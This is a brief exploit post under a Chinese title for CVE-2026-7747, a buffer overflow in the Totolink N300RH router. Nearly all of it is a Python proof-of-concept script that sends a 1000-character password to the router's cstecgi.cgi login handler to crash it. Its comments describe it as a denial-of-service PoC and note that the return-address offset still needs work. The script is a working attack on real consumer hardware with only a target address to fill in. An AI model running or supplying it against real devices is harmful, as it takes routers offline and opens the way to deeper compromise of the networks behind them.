CVE-2026-7747 Totolink N300RH缓冲区溢出漏洞

import requests target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Construct the payload with a long string to trigger buffer overflow # The actual offset to overwrite EIP needs further debugging, this is a DoS PoC payload = { "function": "loginauth", "Password": "A" * 1000 # Sending 1000 'A' characters to overflow the buffer } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=payload, timeout=5) print(f"Response Status Code: {response.status_code}") # If the device crashes or stops responding, the vulnerability is confirmed print("Check if the device has crashed or rebooted.") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")